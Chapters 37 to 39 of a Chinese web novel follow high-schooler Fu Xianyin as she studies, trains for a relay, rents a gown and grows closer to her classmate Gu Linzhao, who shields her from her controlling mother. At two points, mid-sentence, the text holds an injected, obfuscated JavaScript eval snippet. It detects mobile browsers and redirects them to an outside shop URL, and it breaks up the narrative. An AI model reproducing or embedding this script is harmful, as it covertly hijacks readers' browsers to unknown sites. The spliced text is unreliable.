傅弦音晚自习又不去吃饭了。 教室里没几个人,傅弦音翻着从顾临钊那复印来的化学笔记,自己对照着习题一点点啃着。 好像就是这周。 不知道是不是自己这两年多的努力终于有了成效,傅弦音在生物上,忽然就开了窍。 连续做的几套中等难度的模拟卷子都超过了90分,这放在以前,是傅弦音想都不敢想的。 如果月考还能保持这样的分数,那化学就会轻松一些了。 说到化学,傅弦音看着面前的习题笔记,有些泄气。 学了快一个半月的化学了,一切的一切对于傅弦音来说还是很难。 上一次附中的模拟卷子各科老师批改的成绩也都出来了,其它的科目都在傅弦音预料之中,唯独化学,低得离谱。 好在,陈慧梅这段时间不知道在忙什么,或许是在和傅东远吵架,又或许是在和什么小三小四小五的斗智斗勇,没有逼问她附中那套卷子的分数,也给了她一点喘息的时间。 只是不知道为什么,一种不详的预感在傅弦音心中炸开。 她重重地叹了口气,而后趴在桌子上。 不知过了多久,清脆的敲击声忽然在她桌面上响起。 傅弦音抬头。 只见顾临钊拎着一杯热气腾腾的豆浆还有一份饭,站在她桌前。 “晚上要跑步,”顾临钊把饭盒盖子打开,很自然地帮她整理了桌子上散乱的试卷和资料,把烤肉饭推到她面前,扬扬下巴: “不吃饭不行。” “哦。” 傅弦音拆开勺子,吃了几口饭,忽然抬起头。 “你老是给我买饭,我把钱转你。” 顾临钊家里不差钱,从少爷的穿着打扮和生活脾性就能看出来。 但是不差钱归不差钱,她也不能就这么心安理得地白吃白喝。 程昭昭她还隔个几周就给对方转个小几百块钱,顾临钊也给她买了不少次吃的,她脸皮不能这么厚。 顾少爷完全没把这点小钱放在心上。 他摇摇头,说:“不用,没多少。” 傅弦音坚持:“一码归一码。” 顾少爷拗不过他,眼见着傅弦音掏出手机就要转账,屏幕忽然被人按灭。 傅弦音满脸莫名地抬起头,就见顾临钊点了点桌子,说:“转账麻烦,以后周末休息有空的话,你请我吃饭吧。” 转账麻烦? 点一下屏幕的事,麻烦在哪了。 相比之下,请客吃饭不是更麻烦吗? 但是傅弦音把这句话憋了回去。 给钱的是主子。 主子说什么,奴才照做就是了。 她在这吃着饭,顾临钊就坐她对面,有一搭没一搭地翻着她的化学习题。 看着看着,这哥还极其自然地从她笔袋里拿出铅笔,在傅弦音错了的题目后面耐心写下注解。 吃完饭回来写题的尹泽轩被这一幕震惊到了一秒。 傅弦音不喜欢别人在她的习题册上写字,尹泽轩给她讲了几次题,都是写在草稿纸上,傅弦音之后再誊抄上去的。 虽然傅弦音说她自己写一遍可以加深记忆,但尹泽轩还是觉得,傅弦音是不大喜欢让别人碰她东西。 现在看来,这条规则也不是对所有人都通用。 写了没几题,傅弦音忽然用脚尖戳了戳顾临钊的鞋尖。 “用红笔写。” 她一手拿着豆浆,一手握着勺子,腾不出多余的手,下巴冲着自己笔袋的方向点了一下。 顾临钊笑了一声:“挺会使唤人啊。” 傅弦音轻轻“哼”了一声。 她吃饭,顾临钊就在她对面给她的试卷上写着东西,等她吃完了顾临钊也差不多写完了。 于是尹泽轩就看着顾临钊收好了桌子上饭盒和豆浆杯子,把东西放到塑料袋里,又从傅弦音桌面上的抽纸包自然地抽了两张纸,隔绝了塑料袋柄上不小心蹭上去的油。 “少爷好奢侈。” 傅弦音感叹:“拿抽纸擦东西。” “行了啊。”顾临钊笑骂:“得寸进尺了傅弦音。” 他说完,拎着傅弦音的垃圾就走了。 尹泽轩看了看顾临钊的背影,又看了看自己的同桌。 他虽然平时除了学习不怎么关注别的事情,但是他自认为也不是什么很迟钝的人。 这两个人好像是。 有点什么吗? 按下了自己不该有的好奇心,尹泽轩把注意力继续放在手下的题上。 三节晚自习结束,尹泽轩刚好写完这一道题。 教室闹哄哄的气氛不大适合继续学习,尹泽轩收拾东西准备回寝室写。 收拾时,他忽然忍不住往顾临钊的方向看了一眼。 只见顾临钊好像是刚写完一题,盖了笔帽,随便收拾了两本书就单间挎着书包朝这里走来。 尹泽轩收拾的速度不由得放慢了些。 于是他看着顾临钊靠在窗边,垂着眸子,安静地等待着他同桌写完最后的题。 写完以后,傅弦音合笔收拾书包,顾临钊提醒她:“别忘了去跑步。” “知——道——了——” 傅弦音头也没抬,拖着长腔回,说完,她小声嘀咕了一句:“又没答应你。” 她声音很小,尹泽轩自己只能听个大概,他觉得顾临钊大概率是听不见。 于是他朝顾临钊那边看了一眼。 只见对方挑挑眉梢,似笑非笑问:“你说什么?” 傅弦音瞬间改口,笑得乖巧:“我说谢谢班长陪我跑步,谢谢班长为了十五班女子4*100接力做出的所有付出和贡献,我代表十五班全体对班长真挚地道谢。” 顾临钊嗤笑一声:“就你皮。” 傅弦音没说话,吐了吐舌头。 收拾完,傅弦音拎着书包刚要背肩上,顾临钊长臂一伸,手指就勾住了书包带。 “拿着,找田恬他们去吧。” 他掌心躺着一枚秒表,傅弦音拿过,把秒表的挂绳套在自己手腕上,而后又不确定地看了一眼自己的书包。 “书包我给你放,免得你又随便乱扔。” 顾临钊的语气很自然,可是这种事情用这种自然的语气说,好像就显得有点不对劲了。 傅弦音和尹泽轩打了个招呼就走了,顾临钊则拿着傅弦音的书包,和林安旭一块走出教室。 尹泽轩忽然觉得,他发现了点不得了的秘密。 “14秒07。” 田恬看着躺在地上的人,说:“等会跑完再测一次,别忘了。” 傅弦音颤颤巍巍举起手比了个OK的手势。 身边脚步声走了又来,一直手把她从地上拉了起来。 “歇够了就起来跑跑,走走也比躺着强。” 顾临钊说。 傅弦音极不情愿地迈着沉重的步子跟着他。 “下巴要掉到地上了。” 顾临钊笑着抬手虚虚拖了一下,说:“脸怎么拉得这么长啊,傅同学。” 傅弦音累的话都不想说。 两人在操场上走了大半圈,顾临钊看她气息均匀了不少,说:“行了,来,跑会。” 傅弦音觉得肺里像是装了个风箱,顾临钊则游刃有余地让她嫉妒。 他边跑边问:“你们那中考不考体育吗?你当时800米跑了多少。” 傅弦音呼哧呼哧道:“中考到现在几年了啊大哥,我是高三,不是高一。” 她说一句话就要喘上半天,而后再说下一句:“我800应该是跑了3分50,还是4分,我不记得了。” 顾临钊笑个不停。 而傅弦音连还嘴的力气都没了。 两圈下来,如果不是顾临钊扯着她,傅弦音觉得自己一定会像个死尸一样躺在操场上。 顾临钊说:“走两圈,缓一缓,然后再测一次。” 他问:“和昨天比起来呢,今天有轻松些吗?” 傅弦音摇摇头:“没,更累了。” 顾临钊:“正常。” 傅弦音:“那我要是说更轻松了呢?” 顾临钊:“也正常。” 傅弦音咬牙切齿:“你特么——” 顾临钊喉咙里发出低低的笑声。 他说:“明天跑步的时候你可以戴个耳机,放点音乐,转移一下注意力。” 傅弦音:“不用了。” 顾临钊:“怎么不用了?” 傅弦音:“你不是会和我说话吗?” 笑意在顾临钊脸上不住扩大。 他仰了仰头,夜空中点点的星子散乱地点着。 他忽然就,抑制不住地,笑出了声。 “笑什么。” 傅弦音莫名。 顾临钊看着她,说:“高兴。” 他又问:“你高兴吗?” 傅弦音有些荒谬地看了他一眼,叹了口气,学着之前顾临钊迁就她时的那种语气说:“高兴,太高兴了,你高兴我就高兴,满意了吗?” 很满意。 非常,满意。 傅弦音这个人,倔起来软硬不吃,不熟悉的时候还有点端在面上不达心底的礼貌,熟悉之后就开始别扭。 人别扭,性格也别扭,或许是从前从来没跟什么人熟悉过,连她自己好像都不知道怎么跟自己身上这股子别扭和谐共处。 但是顾临钊知道了。 没人不喜欢被惯着。 哪怕傅弦音再怎么情感淡薄,十几岁的少女,心里面总有一块地方是软的。 顺着她脾性来,她愿意闹脾气就让她闹,情绪低落了哄一哄,她不想表现出来的他也就装傻权当不知道。 这是顾临钊和她认识这一个多月来,相处下来的经验。 事实证明,这套经验很有用。 有用到,好像连傅弦音自己都不知道,她在慢慢习惯顾临钊这么对待她。 这个习惯,在傅弦音的定义里,算是个好习惯吗? 顾临钊不知道。 他不敢笃定,却也不愿去否认。 他只是希望,无论好坏,这个习惯能在不受傅弦音控制的一块空地上,悄悄发芽,悄悄长大。 人是有私心的。 他拢共就这么点私心了。 成真一次,也没什么的吧。 * 连着运动了几天,傅弦音总算从这项酷刑上找到点好处。 那就是她的睡眠,比以往好了些。 傅弦音睡眠很差,是差到三天两头吃褪黑素,吃了这么些年已经快吃出抗药性的程度。 一般人吃两粒就能一头栽到,傅弦音又是失眠起来吃上三粒都只能浅眠几个小时。 睡眠质量还不好。 而这几天运动完,回宿舍洗完澡,晾干头发的同时再完成当日的学习任务,基本上等到头发干了个七八分的时候,傅弦音就能隐隐有点困意。 顺着这点困意躺床上,没几分钟就能阖眼睡着,再睁眼就是天蒙蒙亮了。 虽然不至于一觉睡到日上三竿,但是下周一二就月考,在这种高压下,能不吃褪黑素睡着,傅弦音已经很满意了。 她起床收拾了一下就去上自习。 课桌上,是程昭昭知道她不吃早饭给她带的小笼包。 傅弦音一口一个,薄薄的外皮里面是滚烫的汤汁,柔嫩的肉馅在嘴里裹着汤汁散开。 她咬着紫米粥的吸管,一次性筷子尖戳着最后一个小笼包。 这周六是小休,上午还要上自习。 昨天晚上,傅弦音和程昭昭说好了今天下午去看看租礼服的地方。 高姐说租礼服班费可以贴500块钱,傅弦音倒是没打算卡着500的线租,碰上好看的她自己贴点钱进去也不是不行。 本来只有傅弦音程昭昭和陈念可三个人去看礼服,结果林安旭说什么也要去凑热闹,还拉着顾临钊也一块来了。 程昭昭想得倒是很好:“那我们可以中午吃完饭去租礼服,下午去图书馆或者咖啡厅自习,晚上有时间的话去吃饭看电影!” “可以。”陈念可举手:“看完电影我正好回家睡觉,我跟我爸妈说了,明天早自习我请假在家多睡会。” 俩人转头看傅弦音:“音音,你觉得咋样?” 傅弦音点点头:“我可以啊。” 下午她还能让顾临钊在帮她讲几个化学的知识点。 中午放学,程昭昭就已经兴奋起来了。 傅弦音收了基本化学习题册和卷子,想了想,又拿了生物的资料。 吃饭的地是陈念可挑的,是一家新开业的粤菜店,生意很火爆,门口排了长长的队伍。 傅弦音看着长队有些怵,她问陈念可:“我们要排这么久吗?” 陈念可回:“不用,我上课的时候偷偷用手机预约好了位置。” “哇塞。”傅弦音压低声音夸赞她:“有先见之明!” 她小小声:“别让顾临钊听见了扣你分。” 陈念可也故作严肃地小声道:“可是他和我们一起吃饭耶,预约是用我的名字预约的,怎么瞒过他。” 傅弦音:“要不把他赶走算了。” 陈念可:“也不是不行哦。” 两人说着笑做一团。 顾临钊背后莫名发凉,他转头看身后的两人,视线相接,又是一阵笑。 “别笑了,”顾临钊有些无奈:“人家问名字呢,进去再笑。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060467|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哦。”陈念可收了笑容,报了名字手机号。 陈念可是公认的会点菜,每次吃饭基本都是她定菜单。 进座位时,陈念可还专门挑了里面的位置,然后小声在傅弦音耳边嘀咕:“我不坐顾临钊边上,我怕他扣我分。” 说完,两人再次压不住嘴角。 餐厅生意火爆,菜上得倒是还挺快。 一盘一盘菜端上来,顾临钊先用公筷一样给傅弦音夹了一个。 “谢谢班长。” 傅弦音也不客气,拿起筷子就开始吃。 事到如今,十五班的扣分制度对于傅弦音来说已经不算什么需要提心吊胆的事了。 其一是繁重的学业压力让她根本抽不出时间去干点违反校规校级的事情,她转来到现在,除了刚开始又是翻墙又是逃晚自习以外,这一个半月干的最出格的事情就是揍吴嘉程了。 傅弦音对自己的变化感到非常的震惊与满意。 看看,看看呐。 她现在真的是一个不折不扣的好学生了。 学习成绩是年级第一,校规校纪也认真遵守,就连体育活动她都参加了,积极融入班集体的同时还不忘为班集体增光。 而其二就是,十五班的扣分制度其实也没有那么严。 想到这里,傅弦音幽怨地看了一眼顾临钊。 当初要不是他吓唬她,她还能担惊受怕提心吊胆那么久? 这也扣分那也扣分,三两天就得去叫家长。 顾临钊感受到她的眼神,看了眼她碗里的牛肉,说:“香菜都给你挑出来了,还有香菜味?” 傅弦音:……? 不是,这都什么跟什么。 怎么忽然扯到香菜上面了。 她夹了一块牛肉,真心实意地对顾临钊道:“你语文考不了139,真的是有原因的。” 吃完饭,几人打车去了专门租卖礼服的店铺。 一进门,程昭昭和陈念可就小小地哇了一声。 导购小姐贴心地询问傅弦音的要求,而后选出了几款裙子。 陈念可和程昭昭极有默契地指着同一条裙子道:“这个好看!” 那是条抹胸裙,胸前的薄纱似振翅飞翔的蝴蝶般,流光溢彩的裙摆在灯光的照射下波光粼粼。 傅弦音抿了抿唇,说:“有点,太花了吧。” 导购瞬间get到她的想法,说:“小姐您想要低调一点的?这边有几条裙子您看看合不合适。” 程昭昭和陈念可从来没被这么多好看又高级的裙子包围,两人这看看那看看,觉得每一件都适合傅弦音。 程昭昭感叹:“好像让音音把所有的裙子都试一遍啊。” 陈念可:“感觉在玩真人版奇迹暖暖。” 傅弦音个子高,人又瘦,再搭上那张明媚的脸,什么裙子在她身上都好看。 两人和傅弦音说了一声,朝着礼服深处走去了。 林安旭大眼瞪小眼地看着顾临钊:“咱俩……是不是有点多余?” 他挠了挠头:“不是,这怎么跟我想象的不一样啊。” 陈念可和程昭昭挑裙子她俩帮不上什么忙,傅弦音试裙子他俩更帮不上忙。 顾临钊笑了声,晃晃手机,说:“那去打打下手吧。” 等两人买完奶茶回来时,傅弦音已经试了两套裙子了。 “咋样,定下来没?” 林安旭兴冲冲问? 程昭昭撇撇嘴:“哪有这么快,多试几条才能选出来最好看的好吧。” 傅弦音已经换上了校服,等待导购再去拿裙子,她抿了抿唇,看向顾临钊。 后者瞬间意会,走到她身边,低声问:“怎么了?” 傅弦音面色有些难看,她张了张嘴,却又说不出什么话。 似是犹豫了一会,手攥成拳又松开,指甲复又再嵌入掌心。 陈念可还徜徉在礼服的海洋,程昭昭给林安旭看刚才她们挑的裙子。 一时间,更衣室外就只剩他们两个人。 傅弦音内心在打架,顾临钊也不催她,他就静静地站在她身边,是等着她,也是陪着她。 约莫过了几分钟,傅弦音举着手机屏幕放在顾临钊眼皮底下。 屏幕上,是她和陈慧梅的聊天记录。 陈慧梅:[你在哪。] 陈慧梅:[我问了你们老师,你不在宿舍,你又去哪里鬼混了?] 傅弦音:[我在外面,和同学自习。] 陈慧梅:[哪个同学?你们班长吗?让他给我打电话。] 陈慧梅:[下周就要月考了,傅弦音,你有没有为你考虑过,有没有为我考虑过?] 陈慧梅:[让你同学给我打电话,快点。] 是铺面而来的窒息感。 顾临钊不是不知道傅弦音的家庭,也不是完全没和她妈妈接触过。 但上一次,是他主动从傅弦音手里拿过手机帮她解围。 这一次,则是傅弦音第一次主动把自己剖开了,赤裸裸地给他看。 “抱歉。”傅弦音声音很低:“我不知道怎么和昭昭还有念可说这个,你是唯一知道的,我只能……” 她不知道该怎么说下去。 她甚至没办法对着顾临钊说出“帮帮我”这三个字。 这是她的家庭,陈慧梅是她的妈妈,所有的麻烦都是她的,理应是她自己来解决一切,和顾临钊无关。 可是她干了什么。 她逃避陈慧梅的怒火,逃避陈慧梅的疯样子,把这一切都推给了原本不该承受这一切的顾临钊。 这不是傅弦音第一次认识到自己有多么自私。 却是傅弦音第一次为自己的自私产生了愧疚。 贝齿紧咬着下唇。 傅弦音甚至都不敢抬头与顾临钊对视。 心中煎熬一层盖过一层,傅弦音呼吸都变得微微急促起来。 又来了。 又是这样。 世界变得安静,店面里的音乐声,程昭昭和林安旭的交谈声都仿佛被风吹走了。 似是伸出异世界,宽阔大海上只有她一叶孤舟,平静的大海一眼望不到尽头,没有波,没有浪,没有方向。 仿佛整个世界只有她一个人。 她孤立无援,又与世隔绝。 忽然,耳边传来一道清而浅的叹息。 傅弦音呼吸一窒。 然而下一秒,手上重量一轻,手机被人拿去,顾临钊清朗的声音似是咒语般将她从异世界抽离。 她如梦初醒,恍然抬头。 少年拿着她的手机,眸光轻柔地落在她身上。 他说: “阿姨您好,我是顾临钊。” “是我叫傅弦音出来的,您别怪她。” 38. 没道理 陈慧梅的声音很大,大到傅弦音都能听到。 “你叫傅弦音出来玩?你耽误她学习了你知不知道,这个责任你能承担的起吗?” “小小年纪就不学好,约女同学出来玩,你自己不上进别耽误我们家弦音!” “你家长是谁,把家长电话给我。我倒要看看是什么样的家庭能叫出你这样不知好歹的学生!” 她每说一句,傅弦音的脸色就白上一分。 指甲掐进掌心,傅弦音死死地咬着嘴唇,直到尝到了血腥的味道。 陈慧梅在说什么。 她又干了什么。 她怎么能、怎么能—— 怎么能把这样的陈慧梅,说着这些难听的话的陈慧梅,推到顾临钊面前。 指尖不住的发颤,傅弦音连呼吸都是抖的。 她颤着胳膊,伸手想要把手机拿回来,却在半空中被顾临钊截住了胳膊。 他的手很大,很暖。 温热的体温顺着傅弦音的胳膊一点点蔓延。 忽然,那只手微微用力。 顾临钊带着她往店外走去。 傅弦音整个人浑浑噩噩,迈开步子就跟着顾临钊走了出去。 午后下午的日头还不小,太阳照在身上暖融融的。 傅弦音感觉自己的神志在慢慢收拢。 她哑着嗓子,轻声问: “怎么突然拉我出来?” 顾临钊关了麦克风,说:“带你出来晒晒太阳。” 陈慧梅的尖叫好像渐渐消失。 顾临钊极有耐心地和她沟通,他一手拿着手机,另一只手还握在傅弦音的胳膊上。 日光照在傅弦音身上,她感觉自己整条小臂渐渐有了温度。 只是,被他握着的那一块,依旧比其它的地方要暖上几分。 她这么想着,胳膊上的温热骤然消失。 手机被递到了自己眼皮下面。 傅弦音抬头,想要从对方的脸上看到什么情绪变化。 但是没有。 他一如既往的温和,眉宇间甚至连一丝不耐都没有。 暖阳从他身后斜斜照过,在他身上镀了层浅淡的金光。 他向傅弦音伸出手,眉眼低垂,眸子里面只落了她一个人。 那一瞬间,傅弦音只觉得他是从天而降的神明,要救她于水深火热之中。 这个念头只出现了一瞬间。 似乎是胆怯,又不知道是什么心思在作祟。 傅弦音没有继续和他对视,而是快速移开了目光。 她拿过手机,低声说了一句:“谢谢。” 似是觉得不妥,傅弦音又轻声补了一句:“抱歉,我以后,不会让你——” 她话还没说完就被顾临钊打断:“不会让我?” 顾临钊手掌覆在了她肩膀,隔着薄薄一层校服,傅弦音依旧能感受到他掌心的温热。 他语气听不出来什么情绪,但傅弦音就是觉得,他现在的语气比刚才和陈慧梅通电话的时候还要冷上几分。 肩膀处的温热并没有离开。 顾临钊微微用力,扳住了她的肩膀,让她连微小的侧身都没办法做到。 于是她只能面对着顾临钊,被迫地抬起头,看着他,听他说: “不会让我,那会让谁?” 傅弦音脑子突然嗡地一下。 明明,明明通常时候来说,在这种情况下,她的脑子应该是像锈住了一样,属于人话听不懂,狗话说一堆的程度。 可是她好像突然,第一次的,明白了顾临钊话外的那一层意思。 本能地,傅弦音想逃。 她想要跑回店里,离开顾临钊,寻找个什么能够一键消除记忆的功能把这一段记忆从两人的脑海中抹去。 可这些都是天方夜谭。 傅弦音脚下似生根了般定在原地,连走动都不能。 她眼眸垂下,躲开顾临钊直白的眼神,心脏打鼓似的跳动着,傅弦音咬着嘴唇,脑子里乱麻一片。 顾临钊他…… 在说什么啊。 他知道自己在说什么吗? 他知道他干了什么吗? 焦躁的情绪不断从心底蔓延,就当傅弦音想要不顾一切地扭头就走时,肩膀上的那道力突然消失了。 “抱歉。” 男生清冽的声音钻进她耳朵,傅弦音猛然抬头,看见顾临钊垂着手臂,只静静地看着她。 鼻头一酸。 傅弦音抽了抽鼻子,险些掉下泪来。 “进去么?” 顾临钊问。 傅弦音点点头。 两人一前一后地往店里面走,顾临钊推开那扇有些厚重的玻璃门,给她撑着。 “没谁。” 傅弦音突然说了句。 不会让我,那会让谁? 没谁。 嘴角缓缓上扬。 顾临钊轻咳了一声,手掌松开门把手,厚厚的玻璃门回落。 他说: “那就让我。” “音音,你俩干啥去了?” 店内,程昭昭拿着画册,问傅弦音。 傅弦音指指外面:“这里信号不好,我刚在搜周边有没有什么咖啡厅之类能学习的地方,加载不出来,救出去了。” 程昭昭不疑有她,奥了一声。 倒是陈念可的目光在二人身上游移了一下。 店内的礼服大多都偏精致华丽挂,有些剪裁简单的设计却又很大胆,也不太适合在开幕式上穿。 傅弦音不想要太复杂高调的衣服,于是店员便取了画册让她选。 陈念可和程昭昭同时看中了画册上的一条裙子。 是一条绿色的裙子,材质似薄透的绸缎,又似丝滑的纱质,通体是带着有些金属光泽的绿色,只有腰间和脖颈出缀了金色做点缀。 既不张扬,也不似纯黑那样低调到沉闷。 程昭昭说:“这是我和念可做出的最大的让步了啊,绝对不许穿那种一点特色都没有的修女服!” 傅弦音笑了笑:“怎么,看不起修女?” 程昭昭嘟哝着:“不是,你这么年轻漂亮,干嘛不穿花裙子啊。” 她指着画册上面的绿裙子:“这条已经很不花了好吗,你快去试试。” 傅弦音看着画册上的绿裙子,也没再拒绝。 她看向导购,对方有些歉意道:“抱歉小姐,画册上的礼服店内暂时没有,如果您需要,我可以帮您租借,不过价格也会相对的……” 傅弦音满不在乎地摇摇头:“价格无所谓。” 傅东远那一把子资产,她不花白不花。 她说:“你能不能帮我量一下身高体重还有三围之类的,我之后可能没时间再来店里试衣服,等礼服到了你直接按照我的尺寸修改一下然后帮我寄过去好了。” 导购点头:“好的小姐,您这边请。” 一切的一切都很快。 程昭昭感觉傅弦音好像三两秒就敲定了开幕式要穿的礼服。 她看着傅弦音远去的背影,张了张嘴:“不是,这就……定下来了?” 陈念可拍了拍她的肩膀,叹息道:“都认识音音这么久了,你还不知道吗?音音一点选择困难症都没有的。” 程昭昭认真:“吾辈楷模。” 陈念可附和:“吾辈楷模。” 礼服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13060468|137705||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事倒是就这么敲定了,程昭昭还是在没能亲眼看到傅弦音试这条裙子的遗憾中念叨了半天,倒是陈念可宽慰她说: “哎呀,到时候下周运动会你就能看到了嘛,音音到时候还会做妆发,更好看。” 傅弦音附和:“对呀对呀。” 程昭昭说:“好吧,说的也是。” 几人从礼服店走出,林安旭找了附近的一家书吧性质的咖啡店,傅弦音不爱喝咖啡,就点了杯果汁。 她拿出书包里装着的习题册,跟顾临钊说:“你先学,学完有时间给我讲讲。” 语气里是自然而然的熟稔和理所当然。 顾临钊说:“行,我写套数学卷子。” 傅弦音:“写完叫我。” 顾临钊:“好。” 陈念可窝在座位里,咖啡做好之后一气灌了一半,而后在林安旭震惊的表情中对程昭昭说: “你们学,我睡会,走的时候叫我。” 说完,她外套往头上一盖,趴桌上就睡了。 林安旭几乎是瞠目结舌:“不是,喝了咖啡也能睡?” 程昭昭习以为常:“地震都不影响陈念可睡觉,天大地大,睡觉最大。” 傅弦音按了按中性笔,叹了一句:“这睡眠。” 真是好羡慕。 时间仿佛按了加速键。 傅弦音感觉自己没学多久就被顾临钊叫住了。 他手上还拿着红笔,卷子上是简单的批注。 傅弦音有些震惊:“你这就写完了?” 顾临钊按亮了手机,说:“快两个小时了,不写完就完了。” 他合上笔帽,自然地拿过傅弦音的习题册,问:“哪不明白?” 傅弦音指着习题册和笔记本提前圈出来的重点:“这个,这个,哦对,还有这。” 顾临钊拿笔一点点给她讲了。 不知道是对顾临钊有了那么点滤镜,还是因为这个人确实干什么都好。 傅弦音从私心上来说,还挺喜欢顾临钊给她讲题讲知识点的。 他声音很温和,不疾不徐,思绪也非常清晰,看两眼傅弦音的做题过程就知道她是卡在哪上,讲几次知识点就能帮傅弦音把整个知识体系都串起来。 顾临钊:“都听懂了?” 傅弦音:“嗯嗯!” 顾临钊:“都明白了?” 傅弦音:“嗯嗯!” 顾临钊:“还生气吗?” 傅弦音:“嗯——嗯?” 她嗯了一半才反应过来不对劲,抬眼看顾临钊。 男生轻笑出声。 “你……我——” 傅弦音嘴巴张了张,指了指顾临钊,又指了指自己,到最后嘴唇开开合合,也没说出什么。 她没想到顾临钊会问她还生不生气。 或者换句话来说,她压根就没觉得顾临钊还会提起来下午那件事。 在傅弦音的观念里,这样的,有损于两人关系的,或者说至少是不利于两人关系的,有些尴尬,有些窘迫,又有些冲突与难堪的事情,当时过去了,后面大家都自然揭过就好。 不需要重新提起,也不需要等双方都再冷静下来细细分析你错了还是我错了,你有理还是我有理。 当下那场难堪的气氛熬过去了就是熬过去了。 她会把它关押在记忆最隐蔽的地方,上一层重重的锁,在加上严格的看守。 却没想到,顾临钊不仅不关押,不上锁,他还要它晒太阳。 傅弦音内心忽然滋生出来了点奇怪的情绪。 连顾临钊的负面情绪都能晒太阳,她却不能。 真是—— 好没道理啊。 39. 眷顾 陈念可还在呼呼大睡,林安旭已经学不下去拿起手机开了把游戏,程昭昭继续和手上的题在做斗争,可眼睛已经不争气地往手机那里瞟了又瞟。 傅弦音嘴巴开开合合,半天没憋出一句话。 别问了,哥。 她心里颤颤地念叨着。 就让这件事过去吧,别再提了。 但是顾半仙的半仙技能好像在此时失效了。 他合上笔帽,看着傅弦音,认真道:“刚才在店门口,抱歉,我不是要为难你。” 傅弦音嗯嗯啊啊哦哦着含糊不清说了一片,只想把这件事糊弄过去。 可顾临钊不想。 他轻轻叹了口气,忽然叫了一声她的名字: “傅弦音。” 傅弦音身形一僵,心中不知怎么,忽然生出了一点小小的胆怯。 她,傅弦音,一个天不怕地不怕,从小烂摊子见过一堆的强大少女。 怎么屡屡在顾临钊这里败北。 她怕陈慧梅发疯,怕傅东远彻底放弃她,这些胆怯的来源都很令人不齿,但是傅弦音觉得很合理。 那她现在这是在干什么。 她到底……在怕什么啊? 看向顾临钊的动作像是被开了慢速键。 傅弦音一点点抬头,而后落入了一双入水的眸子。 不似古井般死板无波,是清澈见底的一汪泉,带着少年意气的生机勃勃。 他说: “我只是想让你知道,我没有被麻烦到,我也没有把你的事情当成负担。” “你来找我帮忙,我很乐意,也很愿意。” 他说: “傅弦音。” “我会担心你。” 我会担心你。 心脏被一只大手握住,又缓缓松开。 血液安静地流向四肢,又缓缓流回。 像陈念可说的一样,傅弦音其实是一个没什么选择困难症的人。 她很少会陷入极端的纠结境地。 活了十多年了,又或者说,在陈慧梅和傅东远的这种看管模式下活了这么多年,傅弦音是一个很能趋利避害的人。 她很擅长依靠理智来做选择,个人的感情在她做出选择时很少会占据上风。 心里面一团乱麻,心脏跳得厉害,傅弦音感觉自己整个人的身体都轻飘飘的,好像被云托着,四周一片渺茫。 可她却清楚的知道,自己的脑子比任何一刻都要清醒。 需要做出的选择,也比任何一刻都艰难。 几乎是刚认识顾临钊没多久的时候,傅弦音就感受到了。 顾临钊不一样。 他和她从前碰到过的任何一个人都不一样。 他人好,心善,乐于助人。 傅弦音从没被人这么对待过。 这么高密度,长时间的,关照过。 这种关照让傅弦音忍不住想要抓住,像是溺水的人会抓住抛来的绳子,黑暗里的人总是本能地去追寻唯一的一缕光。 但她忍住了。 她在察觉到这一切的时候,就尝试着克制着自己的本能,忍住了。 她不能依赖顾临钊,不能享受这种好,不能放纵自己,任由自己被阳光照耀。 哪怕是一缕,傅弦音也不允许。 因为她清楚地知道,在她生命中,像顾临钊这样的人,是可遇不可求的。 或许是前十几年坎坷的遭遇让她终于好运了一次。 但是傅弦音不会去想,在未来命运还能再次眷顾她。 程昭昭和陈念可的那种关心已经让她有些猝不及防了。 这样的好已经足够了。 像顾临钊那样的,她短暂的体验过一段,就当是人生新奇经历就好了。 不需要,也不能够,长久下去。 因此在月考后换位时,傅弦音发现自己和顾临钊被拆开了,心中其实是偷偷松了一口气的。 顾临钊对她好,只是因为他们是同桌。 同样的,她依赖他,也是因为他们是同桌。 一旦不坐在一起了,一旦距离远了。 傅弦音相信自己的理智。 可事实证明,傅弦音把自己想象得太强大了。 她脆弱,胆小,又卑劣。 她根本舍不得扔开那条丢进水里的绳子。 只要绳子在她眼前晃晃,她就会本能地抓住。 本能。 傅弦音第一次如此地痛恨这个词。 本能让她开始依赖顾临钊,甚至让她开始向顾临钊展现那些自己不想展现给他的。 她开始主动寻求他的帮助,开始需要他,甚至还开始将那些奇怪的小脾气丢在他身上。 她一直在逃避自己的心,自己的情绪,自己的依赖。 她逃避着一切。 直到避无可避。 傅弦音才恍然发现。 本能已经促使着她的情绪,逃脱了她的掌控。 “为什么。” 她唇瓣微张,声音很轻,甚至不像是对旁人的问询,而是对自己的质问。 为什么担心你。 傅弦音。 为什么是你呢? 可他回答了。 声音清朗,干净,又满是耐心。 “因为你对我重要,傅弦音。” 她重要。 他说,她重要。 咖啡厅的音乐缓慢轻盈,从傅弦音耳中缓缓划过。 掷地有声的心跳渐渐安静了下来。 心做出了选择。 傅弦音眯了眯眼,盯着顾临钊看了半天,而后歪了歪脑袋,忽然噗嗤一下笑出了声。 少年声音无奈:“笑什么。” 傅弦音耸耸肩,嘴角还是扬着。 她说:“我高兴,我乐意,你管我笑什么呢。” 顾临钊:“是啊,我不管,等会工作人员过来,看着你笑成这样,说不定要赶你出去。” “出去就出去。” 傅弦音满不在乎,她甚至还挑衅似的看了眼顾临钊,说: 